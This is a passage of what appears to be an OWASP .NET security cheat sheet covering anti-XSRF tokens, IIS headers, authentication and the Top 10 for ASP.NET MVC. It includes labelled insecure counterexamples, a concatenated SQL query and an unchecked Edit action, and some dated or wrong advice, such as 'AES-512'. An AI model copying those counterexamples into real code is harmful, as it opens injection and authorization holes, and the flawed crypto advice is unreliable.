 private const string AntiXsrfUserNameKey = &amp;quot;__AntiXsrfUserName&amp;quot;;&lt;br /&gt;
 private string _antiXsrfTokenValue;&lt;br /&gt;
 protected void Page_Init(object sender, EventArgs e)&lt;br /&gt;
 {&lt;br /&gt;
     // The code below helps to protect against XSRF attacks&lt;br /&gt;
     var requestCookie = Request.Cookies[AntiXsrfTokenKey];&lt;br /&gt;
     Guid requestCookieGuidValue;&lt;br /&gt;
     if (requestCookie != null &amp;amp;&amp;amp; Guid.TryParse(requestCookie.Value, out requestCookieGuidValue))&lt;br /&gt;
     {&lt;br /&gt;
        // Use the Anti-XSRF token from the cookie&lt;br /&gt;
        _antiXsrfTokenValue = requestCookie.Value;&lt;br /&gt;
        Page.ViewStateUserKey = _antiXsrfTokenValue;&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
        // Generate a new Anti-XSRF token and save to the cookie&lt;br /&gt;
        _antiXsrfTokenValue = Guid.NewGuid().ToString(&amp;quot;N&amp;quot;);&lt;br /&gt;
        Page.ViewStateUserKey = _antiXsrfTokenValue;&lt;br /&gt;
        var responseCookie = new HttpCookie(AntiXsrfTokenKey)&lt;br /&gt;
        {&lt;br /&gt;
           HttpOnly = true,&lt;br /&gt;
           Value = _antiXsrfTokenValue&lt;br /&gt;
        };&lt;br /&gt;
        if (FormsAuthentication.RequireSSL &amp;amp;&amp;amp; Request.IsSecureConnection)&lt;br /&gt;
        {&lt;br /&gt;
           responseCookie.Secure = true;&lt;br /&gt;
        }&lt;br /&gt;
        Response.Cookies.Set(responseCookie);&lt;br /&gt;
     }&lt;br /&gt;
     Page.PreLoad += master_Page_PreLoad;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 protected void master_Page_PreLoad(object sender, EventArgs e)&lt;br /&gt;
 {&lt;br /&gt;
     if (!IsPostBack)&lt;br /&gt;
     {&lt;br /&gt;
        // Set Anti-XSRF token&lt;br /&gt;
        ViewState[AntiXsrfTokenKey] = Page.ViewStateUserKey;&lt;br /&gt;
        ViewState[AntiXsrfUserNameKey] = Context.User.Identity.Name ?? String.Empty;&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
        // Validate the Anti-XSRF token&lt;br /&gt;
if ((string)ViewState[AntiXsrfTokenKey] != _antiXsrfTokenValue || &lt;br /&gt;
           (string)ViewState[AntiXsrfUserNameKey] != (Context.User.Identity.Name ?? String.Empty))&lt;br /&gt;
        {&lt;br /&gt;
           throw new InvalidOperationException(&amp;quot;Validation of Anti-XSRF token failed.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
     }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
* Consider [http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security HSTS] in IIS.&lt;br /&gt;
** In the Connections pane, go to the site, application, or directory for which you want to set a custom HTTP header.&lt;br /&gt;
** In the Home pane, double-click HTTP Response Headers.&lt;br /&gt;
** In the HTTP Response Headers pane, click Add... in the Actions pane.&lt;br /&gt;
** In the Add Custom HTTP Response Header dialog box, set the name and value for your custom header, and then click OK.&lt;br /&gt;
** This is a recommended web.config setup that handles HSTS among other things.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
  &amp;lt;configuration&amp;gt;&lt;br /&gt;
    &amp;lt;system.web&amp;gt;&lt;br /&gt;
      &amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;/system.web&amp;gt;&lt;br /&gt;
    &amp;lt;system.webServer&amp;gt;&lt;br /&gt;
      &amp;lt;security&amp;gt;&lt;br /&gt;
        &amp;lt;requestFiltering removeServerHeader=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/security&amp;gt;&lt;br /&gt;
      &amp;lt;staticContent&amp;gt;&lt;br /&gt;
        &amp;lt;clientCache cacheControlCustom=&amp;quot;public&amp;quot; cacheControlMode=&amp;quot;UseMaxAge&amp;quot; cacheControlMaxAge=&amp;quot;1.00:00:00&amp;quot; setEtag=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/staticContent&amp;gt;&lt;br /&gt;
      &amp;lt;httpProtocol&amp;gt;&lt;br /&gt;
        &amp;lt;customHeaders&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;Content-Security-Policy&amp;quot; value=&amp;quot;default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Content-Type-Options&amp;quot; value=&amp;quot;NOSNIFF&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Frame-Options&amp;quot; value=&amp;quot;DENY&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Permitted-Cross-Domain-Policies&amp;quot; value=&amp;quot;master-only&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-XSS-Protection&amp;quot; value=&amp;quot;1; mode=block&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;remove name=&amp;quot;X-Powered-By&amp;quot;/&amp;gt;&lt;br /&gt;
        &amp;lt;/customHeaders&amp;gt;&lt;br /&gt;
      &amp;lt;/httpProtocol&amp;gt;&lt;br /&gt;
      &amp;lt;rewrite&amp;gt;&lt;br /&gt;
        &amp;lt;rules&amp;gt;&lt;br /&gt;
          &amp;lt;rule name=&amp;quot;Redirect to https&amp;quot;&amp;gt;&lt;br /&gt;
            &amp;lt;match url=&amp;quot;(.*)&amp;quot;/&amp;gt;&lt;br /&gt;
            &amp;lt;conditions&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{HTTPS}&amp;quot; pattern=&amp;quot;Off&amp;quot;/&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{REQUEST_METHOD}&amp;quot; pattern=&amp;quot;^get$|^head$&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;/conditions&amp;gt;&lt;br /&gt;
            &amp;lt;action type=&amp;quot;Redirect&amp;quot; url=&amp;quot;https://{HTTP_HOST}/{R:1}&amp;quot; redirectType=&amp;quot;Permanent&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;/rule&amp;gt;&lt;br /&gt;
        &amp;lt;/rules&amp;gt;&lt;br /&gt;
        &amp;lt;outboundRules&amp;gt;&lt;br /&gt;
          &amp;lt;rule name=&amp;quot;Add HSTS Header&amp;quot; enabled=&amp;quot;true&amp;quot;&amp;gt;&lt;br /&gt;
            &amp;lt;match serverVariable=&amp;quot;RESPONSE_Strict_Transport_Security&amp;quot;&lt;br /&gt;
                pattern=&amp;quot;.*&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;conditions&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{HTTPS}&amp;quot; pattern=&amp;quot;on&amp;quot; ignoreCase=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;/conditions&amp;gt;&lt;br /&gt;
            &amp;lt;action type=&amp;quot;Rewrite&amp;quot; value=&amp;quot;max-age=15768000&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;/rule&amp;gt;&lt;br /&gt;
        &amp;lt;/outboundRules&amp;gt;&lt;br /&gt;
      &amp;lt;/rewrite&amp;gt;&lt;br /&gt;
    &amp;lt;/system.webServer&amp;gt;&lt;br /&gt;
  &amp;lt;/configuration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove the version header.&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot; /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* Also remove the Server header.&lt;br /&gt;
&lt;br /&gt;
    HttpContext.Current.Response.Headers.Remove(&amp;quot;Server&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
=== HTTP validation and encoding ===&lt;br /&gt;
&lt;br /&gt;
* Do not disable [http://www.asp.net/whitepapers/request-validation validateRequest] in the web.config or the page setup. This value enables limited XSS protection in ASP.NET and should be left intact as it provides partial prevention of Cross Site Scripting.  Complete request validation is recommended in addition to the built in protections.&lt;br /&gt;
* The 4.5 version of the .NET Frameworks includes the AntiXssEncoder library, which has a comprehensive input encoding library for the prevention of XSS. Use it.&lt;br /&gt;
* Whitelist allowable values anytime user input is accepted. &lt;br /&gt;
* Validate the URI format using [http://msdn.microsoft.com/en-us/library/system.uri.iswellformeduristring.aspx Uri.IsWellFormedUriString].&lt;br /&gt;
&lt;br /&gt;
=== Forms authentication ===&lt;br /&gt;
&lt;br /&gt;
* Use cookies for persistence when possible. Cookieless Auth will default to UseDeviceProfile.&lt;br /&gt;
* Don't trust the URI of the request for persistence of the session or authorization. It can be easily faked.&lt;br /&gt;
* Reduce the forms authentication timeout from the default of 20 minutes to the shortest period appropriate for your application. If slidingExpiration is used this timeout resets after each request, so active users won't be affected.&lt;br /&gt;
* If HTTPS is not used, slidingExpiration should be disabled.  Consider disabling slidingExpiration even with HTTPS. &lt;br /&gt;
* Always implement proper access controls.&lt;br /&gt;
** Compare user provided username with User.Identity.Name.&lt;br /&gt;
** Check roles against User.Identity.IsInRole.&lt;br /&gt;
* Use the ASP.NET Membership provider and role provider, but review the password storage. The default storage hashes the password with a single iteration of SHA-1 which is rather weak. The ASP.NET MVC4 template uses [http://www.asp.net/identity/overview/getting-started/introduction-to-aspnet-identity ASP.NET Identity] instead of ASP.NET Membership, and ASP.NET Identity uses PBKDF2 by default which is better. Review the OWASP [[Password Storage Cheat Sheet]] for more information.&lt;br /&gt;
* Explicitly authorize resource requests.&lt;br /&gt;
* Leverage role based authorization using User.Identity.IsInRole.&lt;br /&gt;
&lt;br /&gt;
==ASP.NET MVC Guidance==&lt;br /&gt;
&lt;br /&gt;
ASP.NET MVC (Model-View-Controller) is a contemporary web application framework that uses more standardized HTTP communication than the Web Forms postback model. The OWASP Top 10 lists the most prevalent and dangerous threats to web security in the world today and is reviewed every 3 years. This section is based on this. Your approach to securing your web application should be to start at the top threat A1 below and work down, this will ensure that any time spent on security will be spent most effectively spent and cover the top threats first and lesser threats afterwards. After covering the top 10 it is generally advisable to assess for other threats or get a professionally completed Penetration Test.&lt;br /&gt;
&lt;br /&gt;
* '''A1 SQL Injection'''&lt;br /&gt;
&lt;br /&gt;
DO: Using an object relational mapper (ORM) or stored procedures is the most effective way of countering the SQL Injection vulnerability.&lt;br /&gt;
&lt;br /&gt;
DO: Use parameterized queries where a direct sql query must be used. &lt;br /&gt;
&lt;br /&gt;
e.g. In entity frameworks:&lt;br /&gt;
&lt;br /&gt;
    var sql = @&amp;quot;Update [User] SET FirstName = @FirstName WHERE Id = @Id&amp;quot;;&lt;br /&gt;
    context.Database.ExecuteSqlCommand(&lt;br /&gt;
       sql,&lt;br /&gt;
       new SqlParameter(&amp;quot;@FirstName&amp;quot;, firstname),&lt;br /&gt;
       new SqlParameter(&amp;quot;@Id&amp;quot;, id));&lt;br /&gt;
&lt;br /&gt;
DO NOT: Concatenate strings anywhere in your code and execute them against your database (Known as dynamic sql). NB: You can still accidentally do this with ORMs or Stored procedures so check everywhere.&lt;br /&gt;
&lt;br /&gt;
e.g&lt;br /&gt;
    string strQry = &amp;quot;SELECT * FROM Users WHERE UserName='&amp;quot; + txtUser.Text + &amp;quot;' AND Password='&amp;quot; + txtPassword.Text + &amp;quot;'&amp;quot;;&lt;br /&gt;
    EXEC strQry // SQL Injection vulnerability!&lt;br /&gt;
&lt;br /&gt;
DO: Practise Least Privilege - Connect to the database using an account with a minimum set of permissions required to do it's job i.e. not the sa account&lt;br /&gt;
&lt;br /&gt;
* '''A2 Weak Account management'''&lt;br /&gt;
&lt;br /&gt;
Ensure cookies are sent via httpOnly:&lt;br /&gt;
&lt;br /&gt;
     CookieHttpOnly = true,&lt;br /&gt;
&lt;br /&gt;
Reduce the time period a session can be stolen in by reducing session timeout and removing sliding expiration:&lt;br /&gt;
&lt;br /&gt;
     ExpireTimeSpan = TimeSpan.FromMinutes(60),&lt;br /&gt;
     SlidingExpiration = false&lt;br /&gt;
&lt;br /&gt;
See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/App_Start/Startup.Auth.cs here] for full startup code snippet&lt;br /&gt;
&lt;br /&gt;
Ensure cookie is sent over https in the production environment. This should be enforced in the config transforms:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;!-- SECURE: Require all custom cookies to travel via SSL --&amp;gt;&lt;br /&gt;
    &amp;lt;httpCookies requireSSL=&amp;quot;true&amp;quot; xdt:Transform=&amp;quot;SetAttributes(requireSSL)&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;authentication&amp;gt;&lt;br /&gt;
      &amp;lt;forms requireSSL=&amp;quot;true&amp;quot; xdt:Transform=&amp;quot;SetAttributes(requireSSL)&amp;quot;/&amp;gt;&lt;br /&gt;
      &amp;lt;!-- SECURE: Authentication cookie should only be passed over SSL --&amp;gt;&lt;br /&gt;
    &amp;lt;/authentication&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Protect LogOn, Registration and password reset methods against brute force attacks by throttling requests (see code below), consider also using ReCaptcha.&lt;br /&gt;
&lt;br /&gt;
    [HttpPost]&lt;br /&gt;
    [AllowAnonymous]&lt;br /&gt;
    [ValidateAntiForgeryToken]&lt;br /&gt;
    '''[AllowXRequestsEveryXSecondsAttribute(Name = &amp;quot;LogOn&amp;quot;, Message = &amp;quot;You have performed this action more than {x} times in the last {n} seconds.&amp;quot;, Requests = 3, Seconds = 60)]'''&lt;br /&gt;
    public async Task&amp;lt;ActionResult&amp;gt; LogOn(LogOnViewModel model, string returnUrl)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Find [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/Attributes/ThrottleAttribute.cs here] the code to prevent throttling&lt;br /&gt;
&lt;br /&gt;
DO NOT: Roll your own authentication or session management, use the one provided by .Net&lt;br /&gt;
&lt;br /&gt;
DO NOT: Tell someone if the account exists on LogOn, Registration or Password reset. Say something like 'Either the username or password was incorrect', or 'If this account exists then a reset token will be sent to the registered email address'. This protects against account enumeration. The feedback to the user should be identical whether or not the account exists, both in terms of content and behaviour: e.g. if the response takes 50% longer when the account is real then membership information can be guessed and tested. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''A3 Cross Site Scripting'''&lt;br /&gt;
&lt;br /&gt;
DO NOT: Trust any data the user sends you, prefer white lists (always safe) over black lists&lt;br /&gt;
&lt;br /&gt;
You get encoding of all HTML content with MVC3, to properly encode all content whether HTML, javascript, CSS, LDAP etc use the Microsoft AntiXSS library:&lt;br /&gt;
&lt;br /&gt;
    Install-Package AntiXSS&lt;br /&gt;
&lt;br /&gt;
then set in config:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;system.web&amp;gt;&lt;br /&gt;
        &amp;lt;!-- SECURE: Don't disclose version header in each IIS response, encode ALL output including CSS, JavaScript etc, reduce max request length as mitigation against DOS --&amp;gt;&lt;br /&gt;
        &amp;lt;httpRuntime targetFramework=&amp;quot;4.5&amp;quot; enableVersionHeader=&amp;quot;false&amp;quot; encoderType=&amp;quot;Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary&amp;quot; maxRequestLength=&amp;quot;4096&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DO NOT: Use the [AllowHTML] attribute or helper class @Html.Raw unless you really know that the content you are writing to the browser is safe and has been escaped properly.&lt;br /&gt;
&lt;br /&gt;
DO: Enable a content security policy, this will prevent your pages from accessing assets it should not be able to access (e.g. a malicious script):&lt;br /&gt;
    &amp;amp;lt;system.webServer&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;httpProtocol&amp;amp;gt;&lt;br /&gt;
            &amp;amp;lt;customHeaders&amp;amp;gt;&lt;br /&gt;
                &amp;amp;lt;add name=&amp;quot;Content-Security-Policy&amp;quot; value=&amp;quot;default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'; script-src 'self'&amp;quot; /&amp;amp;gt;&lt;br /&gt;
                ...&lt;br /&gt;
&lt;br /&gt;
* '''A4 Insecure Direct object references'''&lt;br /&gt;
&lt;br /&gt;
When you have a resource (object) which can be accessed by a reference (in the sample below this is the id) then you need to ensure that the user is intended to be there&lt;br /&gt;
&lt;br /&gt;
    // Insecure&lt;br /&gt;
    public ActionResult Edit(int id)&lt;br /&gt;
        {&lt;br /&gt;
            var user = _context.Users.FirstOrDefault(e =&amp;gt; e.Id == id);&lt;br /&gt;
            return View(&amp;quot;Details&amp;quot;, new UserViewModel(user);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
    // Secure&lt;br /&gt;
    public ActionResult Edit(int id)&lt;br /&gt;
        {&lt;br /&gt;
            var user = _context.Users.FirstOrDefault(e =&amp;gt; e.Id == id);&lt;br /&gt;
            // Establish user has right to edit the details&lt;br /&gt;
            if (user.Id != _userIdentity.GetUserId())&lt;br /&gt;
            {&lt;br /&gt;
                HandleErrorInfo error = new HandleErrorInfo(new Exception(&amp;quot;INFO: You do not have permission to edit these details&amp;quot;));&lt;br /&gt;
                return View(&amp;quot;Error&amp;quot;, error);&lt;br /&gt;
            }&lt;br /&gt;
            return View(&amp;quot;Edit&amp;quot;, new UserViewModel(user);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
* '''A5 Security Misconfiguration'''&lt;br /&gt;
&lt;br /&gt;
Ensure debug and trace are off in production. This can be enforced using web.config transforms:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;!-- SECURE: Ensure debug information is turned off in production --&amp;gt;&lt;br /&gt;
    &amp;lt;compilation xdt:Transform=&amp;quot;RemoveAttributes(debug)&amp;quot; /&amp;gt;&lt;br /&gt;
    &amp;lt;!-- SECURE: Ensure trace is turned off in production --&amp;gt;&lt;br /&gt;
    &amp;lt;trace enabled=&amp;quot;false&amp;quot; xdt:Transform=&amp;quot;Replace&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DO NOT: Use default passwords&lt;br /&gt;
&lt;br /&gt;
DO: (When using TLS) Redirect a request made over Http to https: In Global.asax.cs:&lt;br /&gt;
&lt;br /&gt;
	protected void Application_BeginRequest()&lt;br /&gt;
		{&lt;br /&gt;
    #if !DEBUG&lt;br /&gt;
            // SECURE: Ensure any request is returned over SSL/TLS in production&lt;br /&gt;
            if (!Request.IsLocal &amp;amp;&amp;amp; !Context.Request.IsSecureConnection) {&lt;br /&gt;
                var redirect = Context.Request.Url.ToString().ToLower(CultureInfo.CurrentCulture).Replace(&amp;quot;http:&amp;quot;, &amp;quot;https:&amp;quot;);&lt;br /&gt;
                Response.Redirect(redirect);&lt;br /&gt;
            }&lt;br /&gt;
    #endif&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
* '''A6 Sensitive data exposure'''&lt;br /&gt;
&lt;br /&gt;
DO NOT: Store encrypted passwords.&lt;br /&gt;
&lt;br /&gt;
DO: Use a strong hash to store password credentials. Use PBKDF2, BCrypt or SCrypt with at least 8000 iterations and a strong key.&lt;br /&gt;
&lt;br /&gt;
DO: Enforce passwords with a minimum complexity that will survive a dictionary attack i.e. longer passwords that use the full character set (numbers, symbols and letters) to increase the entropy. &lt;br /&gt;
&lt;br /&gt;
DO: Use a strong encryption routine such as AES-512 where personally identifiable data needs to be restored to it's original format. Do not encrypt passwords. Protect encryption keys more than any other asset. Apply the following test: Would you be happy leaving the data on a spreadsheet on a bus for everyone to read. Assume the attacker can get direct access to your database and protect it accordingly.&lt;br /&gt;
&lt;br /&gt;
DO: Use TLS 1.2 for your entire site. Get a free certificate from [https://www.startssl.com/ StartSSL.com] or [https://letsencrypt.org/ LetsEncrypt.org].&lt;br /&gt;
&lt;br /&gt;
DO NOT: Allow SSL, this is now obsolete&lt;br /&gt;
&lt;br /&gt;
DO: Have a strong TLS policy (see [http://www.ssllabs.com/projects/best-practises/ SSL Best Practises]), use TLS 1.2 wherever possible. Then check the configuration using [https://www.ssllabs.com/ssltest/ SSL Test]&lt;br /&gt;
&lt;br /&gt;
DO: Ensure headers are not disclosing information about your application. See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs HttpHeaders.cs] , [https://github.com/Dionach/StripHeaders/ Dionach StripHeaders] or disable via web.config:&lt;br /&gt;
    &amp;amp;lt;system.web&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot;/&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/system.web&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;system.webServer&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;security&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;requestFiltering removeServerHeader=&amp;quot;true&amp;quot; /&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/security&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;httpProtocol&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;customHeaders&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Content-Type-Options&amp;quot; value=&amp;quot;NOSNIFF&amp;quot; /&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Frame-Options&amp;quot; value=&amp;quot;DENY&amp;quot; /&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Permitted-Cross-Domain-Policies&amp;quot; value=&amp;quot;master-only&amp;quot;/&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-XSS-Protection&amp;quot; value=&amp;quot;1; mode=block&amp;quot;/&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;remove name=&amp;quot;X-Powered-By&amp;quot;/&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;/customHeaders&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/httpProtocol&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''A7 Missing function level access control'''&lt;br /&gt;
&lt;br /&gt;
DO: Authorize users on all externally facing endpoints. The .Net framework has many ways to authorize a user, use them at method level:&lt;br /&gt;
&lt;br /&gt;
     [Authorize(Roles = &amp;quot;Admin&amp;quot;)]&lt;br /&gt;
     [HttpGet]&lt;br /&gt;
     public ActionResult Index(int page = 1)&lt;br /&gt;
&lt;br /&gt;
or better yet, at controller level:&lt;br /&gt;
&lt;br /&gt;
     [Authorize]&lt;br /&gt;
     public class UserController&lt;br /&gt;
&lt;br /&gt;
You can also check roles in code using identity features in .net: System.Web.Security.Roles.IsUserInRole(userName, roleName)&lt;br /&gt;
&lt;br /&gt;
* '''A8 Cross site request forgery'''&lt;br /&gt;
&lt;br /&gt;
DO: Send the anti-forgery token with every Post/Put request:&lt;br /&gt;
&lt;br /&gt;
    using (Html.BeginForm(&amp;quot;LogOff&amp;quot;, &amp;quot;Account&amp;quot;, FormMethod.Post, new { id = &amp;quot;logoutForm&amp;quot;, @class = &amp;quot;pull-right&amp;quot; }))&lt;br /&gt;
        {&lt;br /&gt;
        @Html.AntiForgeryToken()&lt;br /&gt;
        &amp;amp;lt;ul class=&amp;quot;nav nav-pills&amp;quot;&amp;amp;gt;&lt;br /&gt;
            &amp;amp;lt;li role=&amp;quot;presentation&amp;quot;&amp;amp;gt;Logged on as @User.Identity.Name&lt;br /&gt;
            &amp;amp;lt;li role=&amp;quot;presentation&amp;quot;&amp;amp;gt;&amp;amp;lt;a href=&amp;quot;javascript:document.getElementById('logoutForm').submit()&amp;quot;&amp;amp;gt;Log off&amp;amp;lt;/a&amp;amp;gt;&amp;amp;lt;/li&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;/ul&amp;amp;gt;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
Then validate it at the method or preferably the controller level:&lt;br /&gt;
&lt;br /&gt;
        [HttpPost]&lt;br /&gt;
        '''[ValidateAntiForgeryToken]'''&lt;br /&gt;
        public ActionResult LogOff()&lt;br /&gt;
&lt;br /&gt;
Make sure the tokens are removed completely for invalidation on logout.&lt;br /&gt;
&lt;br /&gt;
        /// &amp;lt;summary&amp;gt;&lt;br /&gt;
        /// SECURE: Remove any remaining cookies including Anti-CSRF cookie&lt;br /&gt;
        /// &amp;lt;/summary&amp;gt;&lt;br /&gt;
        public void RemoveAntiForgeryCookie(Controller controller)&lt;br /&gt;
        {&lt;br /&gt;
            string[] allCookies = controller.Request.Cookies.AllKeys;&lt;br /&gt;
            foreach (string cookie in allCookies)&lt;br /&gt;
            {&lt;br /&gt;
                if (controller.Response.Cookies[cookie] != null &amp;amp;&amp;amp; cookie == &amp;quot;__RequestVerificationToken&amp;quot;)&lt;br /&gt;
                {&lt;br /&gt;
                    controller.Response.Cookies[cookie].Expires = DateTime.Now.AddDays(-1);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
NB: You will need to attach the anti-forgery token to Ajax requests.&lt;br /&gt;
&lt;br /&gt;
After .NET Core 2.0 it is possible to automatically generate and verify the antiforgery token.  Forms must have the requisite helper as seen here:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;form action=&amp;quot;RelevantAction&amp;quot; &amp;gt;&lt;br /&gt;
    @Html.AntiForgeryToken()&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
And then add the [AutoValidateAntiforgeryToken] attribute to the action result.&lt;br /&gt;
&lt;br /&gt;
* '''A9 Using components with known vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
DO: Keep the .Net framework updated with the latest patches&lt;br /&gt;
&lt;br /&gt;
DO: Keep your NuGet packages up to date, many will contain their own vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
DO:  Run the OWASP Dependency checker against your application as part of your build process and act on any high level vulnerabilities. [[https://www.owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Checker]]&lt;br /&gt;
&lt;br /&gt;
* '''A10 Unvalidated redirects and forwards'''&lt;br /&gt;
&lt;br /&gt;
A protection against this was introduced in Mvc 3 template. Here is the code:&lt;br /&gt;
&lt;br /&gt;
        public async Task&amp;lt;ActionResult&amp;gt; LogOn(LogOnViewModel model, string returnUrl)&lt;br /&gt;
        {&lt;br /&gt;
            if (ModelState.IsValid)&lt;br /&gt;
            {&lt;br /&gt;
                var logonResult = await _userManager.TryLogOnAsync(model.UserName, model.Password);&lt;br /&gt;
                if (logonResult.Success)&lt;br /&gt;
                {&lt;br /&gt;
                    await _userManager.LogOnAsync(logonResult.UserName, model.RememberMe);                              &lt;br /&gt;
                    return RedirectToLocal(returnUrl);&lt;br /&gt;
        ....&lt;br /&gt;
&lt;br /&gt;
        private ActionResult RedirectToLocal(string returnUrl)&lt;br /&gt;
        {&lt;br /&gt;
            if (Url.IsLocalUrl(returnUrl))&lt;br /&gt;
            {&lt;br /&gt;
                return Redirect(returnUrl);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                return RedirectToAction(&amp;quot;Landing&amp;quot;, &amp;quot;Account&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
Other advice:&lt;br /&gt;
&lt;br /&gt;
* Protect against Clickjacking and man in the middle attack from capturing an initial Non-TLS request, set the X-Frame-Options and Strict-Transport-Security (HSTS) headers. Full details [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs here]&lt;br /&gt;
* Protect against a man in the middle attack for a user who has never been to your site before. Register for [https://hstspreload.org/ HSTS preload]&lt;br /&gt;
* Maintain security testing and analysis on Web API services. They are hidden inside MEV sites, and are public parts of a site that will be found by an attacker. All of the MVC guidance and much of the WCF guidance applies to the Web API.&lt;br /&gt;
&lt;br /&gt;
More information:&lt;br /&gt;
&lt;br /&gt;
For more information on all of the above and code samples incorporated into a sample MVC5 application with an enhanced security baseline go to [http://github.com/johnstaveley/SecurityEssentials/ Security Essentials Baseline project]&lt;br /&gt;
&lt;br /&gt;
==XAML Guidance==&lt;br /&gt;
&lt;br /&gt;
* Work within the constraints of Internet Zone security for your application.&lt;br /&gt;
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Windows Forms Guidance== &lt;br /&gt;
&lt;br /&gt;
* Use partial trust when possible. Partially trusted Windows applications reduce the attack surface of an application. Manage a list of what permissions your app must use, and what it may use, and then make the request for those permissions declaratively at run time.&lt;br /&gt;
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.&lt;br /&gt;
&lt;br /&gt;
==WCF Guidance==&lt;br /&gt;
&lt;br /&gt;
* Keep in mind that the only safe way to pass a request in RESTful services is via HTTP POST, with TLS enabled. GETs are visible in the querystring, and a lack of TLS means the body can be intercepted.&lt;br /&gt;
* Avoid BasicHttpBinding. It has no default security configuration. Use WSHttpBinding instead.&lt;br /&gt;
* Use at least two security modes for your binding. Message security includes security provisions in the headers. Transport security means use of SSL. TransportWithMessageCredential combines the two.&lt;br /&gt;
* Test your WCF implementation with a fuzzer like the Zed Attack Proxy.&lt;br /&gt;
&lt;br /&gt;
== Authors and Primary Editors  ==&lt;br /&gt;
&lt;br /&gt;
